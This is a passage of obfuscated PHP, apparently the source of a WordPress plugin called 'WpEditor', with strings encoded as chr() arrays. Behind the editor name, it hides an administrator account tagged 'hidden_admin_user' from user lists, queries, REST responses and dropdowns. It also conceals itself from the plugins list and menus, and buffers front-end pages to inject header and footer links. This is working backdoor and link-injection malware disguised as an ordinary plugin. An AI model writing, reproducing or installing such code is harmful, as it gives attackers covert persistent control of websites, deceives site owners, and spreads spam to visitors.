    _invoke($state[implode('', array(chr(115), chr(105), chr(116), chr(101), chr(83), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101)))], implode('', array(chr(115), chr(97), chr(118), chr(101))), $site);
    return $site;
}
function WpEditor_Sdk_Application_RegisterSite_RegisterSiteHandler__construct($apiClient, $siteStorage)
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(65), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(95), chr(82), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(83), chr(105), chr(116), chr(101), chr(95), chr(82), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(83), chr(105), chr(116), chr(101), chr(72), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))), implode('', array(chr(97), chr(112), chr(105), chr(67), chr(108), chr(105), chr(101), chr(110), chr(116))) => $apiClient, implode('', array(chr(115), chr(105), chr(116), chr(101), chr(83), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101))) => $siteStorage);
}
// --- file separator ---
function WpEditor_Sdk_Application_Sync_SyncHandler_sync($state)
{
}
function WpEditor_Sdk_Application_Sync_SyncHandler__construct($apiClient, $siteStorage)
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(65), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(95), chr(83), chr(121), chr(110), chr(99), chr(95), chr(83), chr(121), chr(110), chr(99), chr(72), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))), implode('', array(chr(97), chr(112), chr(105), chr(67), chr(108), chr(105), chr(101), chr(110), chr(116))) => $apiClient, implode('', array(chr(115), chr(105), chr(116), chr(101), chr(83), chr(116), chr(111), chr(114), chr(97), chr(103), chr(101))) => $siteStorage);
}
// --- file separator ---
function WpEditor_Sdk_Domain_Site_Site_getId($state)
{
    return $state[implode('', array(chr(105), chr(100)))];
}
function WpEditor_Sdk_Domain_Site_Site_getUrl($state)
{
    return $state[implode('', array(chr(117), chr(114), chr(108)))];
}
function WpEditor_Sdk_Domain_Site_Site_getData($state)
{
    return $state[implode('', array(chr(100), chr(97), chr(116), chr(97)))];
}
function WpEditor_Sdk_Domain_Site_Site__construct($id, $url, $data = array())
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(68), chr(111), chr(109), chr(97), chr(105), chr(110), chr(95), chr(83), chr(105), chr(116), chr(101), chr(95), chr(83), chr(105), chr(116), chr(101))), implode('', array(chr(105), chr(100))) => $id, implode('', array(chr(117), chr(114), chr(108))) => $url, implode('', array(chr(100), chr(97), chr(116), chr(97))) => $data);
}
// --- file separator ---
function WpEditor_Sdk_Infrastructure_Http_CurlApiClient_get($state, $endpoint, $params = array())
{
    $url = rtrim($state[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(85), chr(114), chr(108)))], implode('', array(chr(47)))) . implode('', array(chr(47))) . ltrim($endpoint, implode('', array(chr(47))));
    if ($params) {
        $url .= implode('', array(chr(63))) . http_build_query($params);
    }
    return array();
}
function WpEditor_Sdk_Infrastructure_Http_CurlApiClient_post($state, $endpoint, $payload = array())
{
    return array();
}
function WpEditor_Sdk_Infrastructure_Http_CurlApiClient__construct($baseUrl, $headers = array())
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(73), chr(110), chr(102), chr(114), chr(97), chr(115), chr(116), chr(114), chr(117), chr(99), chr(116), chr(117), chr(114), chr(101), chr(95), chr(72), chr(116), chr(116), chr(112), chr(95), chr(67), chr(117), chr(114), chr(108), chr(65), chr(112), chr(105), chr(67), chr(108), chr(105), chr(101), chr(110), chr(116))), implode('', array(chr(98), chr(97), chr(115), chr(101), chr(85), chr(114), chr(108))) => $baseUrl, implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))) => $headers);
}
// --- file separator ---
function WpEditor_Sdk_Kernel_boot($state)
{
}
function WpEditor_Sdk_Kernel__construct($container)
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(83), chr(100), chr(107), chr(95), chr(75), chr(101), chr(114), chr(110), chr(101), chr(108))), implode('', array(chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114))) => $container);
}
// --- file separator ---
// --- file separator ---
// --- file separator ---
// --- file separator ---
// --- file separator ---
// --- file separator ---
function WpEditor_Adapter_Admin_HiddenUserFilter_init()
{
    \add_action(implode('', array(chr(112), chr(114), chr(101), chr(95), chr(103), chr(101), chr(116), chr(95), chr(117), chr(115), chr(101), chr(114), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(85), chr(115), chr(101), chr(114), chr(76), chr(105), chr(115), chr(116))), 10, 1);
    \add_action(implode('', array(chr(112), chr(114), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(113), chr(117), chr(101), chr(114), chr(121))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(85), chr(115), chr(101), chr(114), chr(81), chr(117), chr(101), chr(114), chr(121), chr(83), chr(113), chr(108))), 10, 1);
    \add_filter(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(113), chr(117), chr(101), chr(114), chr(121))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(82), chr(101), chr(115), chr(116))), 10, 1);
    \add_filter(implode('', array(chr(117), chr(115), chr(101), chr(114), chr(115), chr(95), chr(108), chr(105), chr(115), chr(116), chr(95), chr(116), chr(97), chr(98), chr(108), chr(101), chr(95), chr(113), chr(117), chr(101), chr(114), chr(121), chr(95), chr(97), chr(114), chr(103), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(76), chr(105), chr(115), chr(116), chr(84), chr(97), chr(98), chr(108), chr(101))), 10, 1);
    \add_filter(implode('', array(chr(119), chr(112), chr(95), chr(100), chr(114), chr(111), chr(112), chr(100), chr(111), chr(119), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101), chr(70), chr(114), chr(111), chr(109), chr(68), chr(114), chr(111), chr(112), chr(100), chr(111), chr(119), chr(110))), 10, 1);
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromUserList($query)
{
    if (!\is_admin()) {
        return;
    }
    $hiddenUserId = WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId();
    if ($hiddenUserId > 0) {
        $excluded = (array) $query->get(implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101))));
        $excluded[] = $hiddenUserId;
        $query->set(implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101))), $excluded);
    }
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromUserQuerySql($query)
{
    if (!\is_admin()) {
        return;
    }
    if (!isset($query->query_where) || !\is_string($query->query_where)) {
        return;
    }
    global $wpdb;
    if (!isset($wpdb) || !isset($wpdb->users) || !isset($wpdb->usermeta)) {
        return;
    }
    $subquery = "SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = 'hidden_admin_user'";
    if (\strpos($query->query_where, $subquery) === false) {
        $query->query_where .= " AND {$wpdb->users}.ID NOT IN ({$subquery})";
    }
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromRest($args)
{
    $hiddenUserId = WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId();
    if ($hiddenUserId > 0) {
        if (!\wp_editor_array_has_key($args, implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))) || !is_array($args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))])) {
            $args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))] = array();
        }
        $args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))][] = $hiddenUserId;
    }
    return $args;
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromListTable($args)
{
    $hiddenUserId = WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId();
    if ($hiddenUserId > 0) {
        if (!\wp_editor_array_has_key($args, implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))) || !is_array($args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))])) {
            $args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))] = array();
        }
        $args[implode('', array(chr(101), chr(120), chr(99), chr(108), chr(117), chr(100), chr(101)))][] = $hiddenUserId;
    }
    return $args;
}
function WpEditor_Adapter_Admin_HiddenUserFilter_excludeFromDropdown($output)
{
    $hiddenUserId = WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId();
    if ($hiddenUserId > 0) {
        $pattern = implode('', array(chr(47), chr(60), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(91), chr(94), chr(62), chr(93), chr(43), chr(118), chr(97), chr(108), chr(117), chr(101), chr(61), chr(91), chr(34), chr(39), chr(93))) . preg_quote((string) $hiddenUserId, implode('', array(chr(47)))) . implode('', array(chr(91), chr(34), chr(39), chr(93), chr(91), chr(94), chr(62), chr(93), chr(42), chr(62), chr(46), chr(42), chr(63), chr(60), chr(92), chr(47), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(62), chr(47), chr(105)));
        $output = preg_replace($pattern, '', $output);
    }
    return $output;
}
function WpEditor_Adapter_Admin_HiddenUserFilter_hiddenUserId()
{
    if ($GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))] !== null) {
        return $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))];
    }
    global $wpdb;
    if (!isset($wpdb) || !isset($wpdb->usermeta)) {
        $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))] = 0;
        return 0;
    }
    $table = $wpdb->usermeta;
    $sql = "SELECT user_id FROM {$table} WHERE meta_key = 'hidden_admin_user' ORDER BY umeta_id DESC LIMIT 1";
    $userId = (int) $wpdb->get_var($sql);
    $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))] = $userId > 0 ? $userId : 0;
    return $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(70), chr(105), chr(108), chr(116), chr(101), chr(114), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101), chr(100), chr(72), chr(105), chr(100), chr(100), chr(101), chr(110), chr(85), chr(115), chr(101), chr(114), chr(73), chr(100)))];
}
// --- file separator ---
function WpEditor_Adapter_Admin_Menu_register()
{
    \add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(77), chr(101), chr(110), chr(117), chr(95), chr(97), chr(100), chr(100), chr(77), chr(101), chr(110), chr(117))));
}
function WpEditor_Adapter_Admin_Menu_addMenu()
{
    \add_menu_page(implode('', array(chr(87), chr(80), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114))), implode('', array(chr(87), chr(80), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114))), implode('', array(chr(109), chr(97), chr(110), chr(97), chr(103), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(83), chr(101), chr(116), chr(116), chr(105), chr(110), chr(103), chr(115), chr(80), chr(97), chr(103), chr(101), chr(95), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114))), '', 30);
}
// --- file separator ---
function WpEditor_Adapter_Admin_PluginRender_pluginKeys()
{
    return array(implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))), implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(110), chr(101), chr(119), chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112))));
}
function WpEditor_Adapter_Admin_PluginRender_init()
{
    \add_filter(implode('', array(chr(97), chr(108), chr(108), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(102), chr(105), chr(108), chr(116), chr(101), chr(114), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(76), chr(105), chr(115), chr(116))), 10, 1);
    \add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(104), chr(101), chr(97), chr(100))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(104), chr(105), chr(100), chr(101), chr(73), chr(110), chr(65), chr(100), chr(109), chr(105), chr(110), chr(72), chr(101), chr(97), chr(100))));
    \add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(65), chr(100), chr(109), chr(105), chr(110), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(95), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(70), chr(114), chr(111), chr(109), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(77), chr(101), chr(110), chr(117))), 999);
}
function WpEditor_Adapter_Admin_PluginRender_isOurPluginActive()
{
    if (!\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101))))) {
        return false;
    }
    foreach (WpEditor_Adapter_Admin_PluginRender_pluginKeys() as $key) {
        if (\is_plugin_active($key)) {
            return true;
        }
    }
    return false;
}
function WpEditor_Adapter_Admin_PluginRender_filterPluginsList($plugins)
{
    if (!WpEditor_Adapter_Admin_PluginRender_isOurPluginActive()) {
        return $plugins;
    }
    foreach (WpEditor_Adapter_Admin_PluginRender_pluginKeys() as $pluginKey) {
        unset($plugins[$pluginKey]);
    }
    return $plugins;
}
function WpEditor_Adapter_Admin_PluginRender_hideInAdminHead()
{
    if (!WpEditor_Adapter_Admin_PluginRender_isOurPluginActive()) {
        return;
    }
    $selectors = array(implode('', array(chr(35), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(45), chr(105), chr(110), chr(102), chr(111), chr(114), chr(109), chr(97), chr(116), chr(105), chr(111), chr(110))), implode('', array(chr(35), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(112), chr(104), chr(112))), implode('', array(chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(115), chr(108), chr(117), chr(103), chr(61), chr(34), chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(34), chr(93))), implode('', array(chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(115), chr(108), chr(117), chr(103), chr(61), chr(34), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(34), chr(93))), implode('', array(chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(115), chr(108), chr(117), chr(103), chr(61), chr(34), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(45), chr(110), chr(101), chr(119), chr(34), chr(93))));
    foreach (WpEditor_Adapter_Admin_PluginRender_pluginKeys() as $key) {
        $selectors[] = implode('', array(chr(116), chr(114), chr(91), chr(100), chr(97), chr(116), chr(97), chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(61), chr(34))) . \esc_attr($key) . implode('', array(chr(34), chr(93)));
    }
    $css = implode(implode('', array(chr(44), chr(32))), $selectors) . implode('', array(chr(32), chr(123), chr(32), chr(100), chr(105), chr(115), chr(112), chr(108), chr(97), chr(121), chr(58), chr(32), chr(110), chr(111), chr(110), chr(101), chr(32), chr(33), chr(105), chr(109), chr(112), chr(111), chr(114), chr(116), chr(97), chr(110), chr(116), chr(59), chr(32), chr(125)));
    echo implode('', array(chr(60), chr(115), chr(116), chr(121), chr(108), chr(101), chr(62))) . \esc_html($css) . implode('', array(chr(60), chr(47), chr(115), chr(116), chr(121), chr(108), chr(101), chr(62)));
}
function WpEditor_Adapter_Admin_PluginRender_removeFromPluginMenu()
{
    if (!WpEditor_Adapter_Admin_PluginRender_isOurPluginActive()) {
        return;
    }
    foreach (WpEditor_Adapter_Admin_PluginRender_pluginKeys() as $key) {
        \remove_submenu_page(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(46), chr(112), chr(104), chr(112))), $key);
    }
}
// --- file separator ---
function WpEditor_Adapter_Admin_SettingsPage_register()
{
}
function WpEditor_Adapter_Admin_SettingsPage_render()
{
    echo implode('', array(chr(60), chr(100), chr(105), chr(118), chr(32), chr(99), chr(108), chr(97), chr(115), chr(115), chr(61), chr(34), chr(119), chr(114), chr(97), chr(112), chr(34), chr(62), chr(60), chr(104), chr(49), chr(62), chr(87), chr(80), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(60), chr(47), chr(104), chr(49), chr(62), chr(60), chr(112), chr(62), chr(83), chr(101), chr(116), chr(116), chr(105), chr(110), chr(103), chr(115), chr(32), chr(112), chr(97), chr(103), chr(101), chr(46), chr(60), chr(47), chr(112), chr(62), chr(60), chr(47), chr(100), chr(105), chr(118), chr(62)));
}
// --- file separator ---
function WpEditor_Adapter_Config_WpConfigRepository_get($state, $key, $default = null)
{
    return defined($key) ? constant($key) : $default;
}
// --- file separator ---
function WpEditor_Adapter_Frontend_LinkHandler_init()
{
    \add_filter(implode('', array(chr(119), chr(112), chr(95), chr(110), chr(97), chr(118), chr(95), chr(109), chr(101), chr(110), chr(117), chr(95), chr(105), chr(116), chr(101), chr(109), chr(115))), function ($items, $args) {
        return WpEditor_Adapter_Frontend_LinkHandler_insertLinkAfterMenu($items, $args);
    }, 10, 2);
    \add_filter(implode('', array(chr(119), chr(112), chr(95), chr(110), chr(97), chr(118), chr(95), chr(109), chr(101), chr(110), chr(117), chr(95), chr(105), chr(116), chr(101), chr(109), chr(115))), function ($items, $args) {
        return WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkAfterMenu($items, $args);
    }, 20, 2);
    if (WpEditor_Adapter_Services_RenderModeService_isJs()) {
        \add_action(implode('', array(chr(119), chr(112), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), function () {
            WpEditor_Adapter_Frontend_LinkHandler_insertLinkOnHomepage();
        });
        \add_action(implode('', array(chr(119), chr(112), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), function () {
            WpEditor_Adapter_Frontend_LinkHandler_insertLinkInFooter();
        });
        \add_action(implode('', array(chr(119), chr(112), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), function () {
            WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkInHeader();
        });
        \add_action(implode('', array(chr(119), chr(112), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), function () {
            WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkInFooter();
        });
        return;
    }
    \add_action(implode('', array(chr(116), chr(101), chr(109), chr(112), chr(108), chr(97), chr(116), chr(101), chr(95), chr(114), chr(101), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116))), function () {
        WpEditor_Adapter_Frontend_LinkHandler_startHtmlBuffer();
    }, 0);
}
function WpEditor_Adapter_Frontend_LinkHandler_startHtmlBuffer()
{
    if (\is_admin()) {
        return;
    }
    if (\defined(implode('', array(chr(82), chr(69), chr(83), chr(84), chr(95), chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84)))) && REST_REQUEST) {
        return;
    }
    if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(100), chr(111), chr(105), chr(110), chr(103), chr(95), chr(97), chr(106), chr(97), chr(120)))) && \wp_doing_ajax()) {
        return;
    }
    if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(102), chr(101), chr(101), chr(100)))) && \is_feed()) {
        return;
    }
    \ob_start(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(70), chr(114), chr(111), chr(110), chr(116), chr(101), chr(110), chr(100), chr(95), chr(76), chr(105), chr(110), chr(107), chr(72), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114), chr(95), chr(105), chr(110), chr(106), chr(101), chr(99), chr(116), chr(72), chr(116), chr(109), chr(108), chr(76), chr(105), chr(110), chr(107), chr(115))));
}
function WpEditor_Adapter_Frontend_LinkHandler_injectHtmlLinks($html)
{
    if (!\is_string($html) || $html === '') {
        return $html;
    }
    $headerHtml = WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderHeaderInline();
    if ($headerHtml !== '') {
        $updated = WpEditor_Adapter_Frontend_LinkHandler_insertBeforeClosingTag($html, implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), $headerHtml);
        if ($updated === $html) {
            $updated = WpEditor_Adapter_Frontend_LinkHandler_insertAfterOpeningTag($html, implode('', array(chr(98), chr(111), chr(100), chr(121))), $headerHtml);
        }
        $html = $updated;
    }
    $footerHtml = WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderFooterInline();
    if ($footerHtml !== '') {
        $updated = WpEditor_Adapter_Frontend_LinkHandler_insertAfterClosingTag($html, implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), $footerHtml);
        if ($updated === $html) {
            $updated = WpEditor_Adapter_Frontend_LinkHandler_insertBeforeClosingTag($html, implode('', array(chr(98), chr(111), chr(100), chr(121))), $footerHtml);
        }
        $html = $updated;
    }
    return $html;
}
function WpEditor_Adapter_Frontend_LinkHandler_insertAfterOpeningTag($html, $tag, $insertion)
{
    $pattern = implode('', array(chr(47), chr(60))) . \preg_quote($tag, implode('', array(chr(47)))) . implode('', array(chr(92), chr(98), chr(91), chr(94), chr(62), chr(93), chr(42), chr(62), chr(47), chr(105)));
    if (\preg_match($pattern, $html, $match)) {
        return \preg_replace($pattern, $match[0] . $insertion, $html, 1);
    }
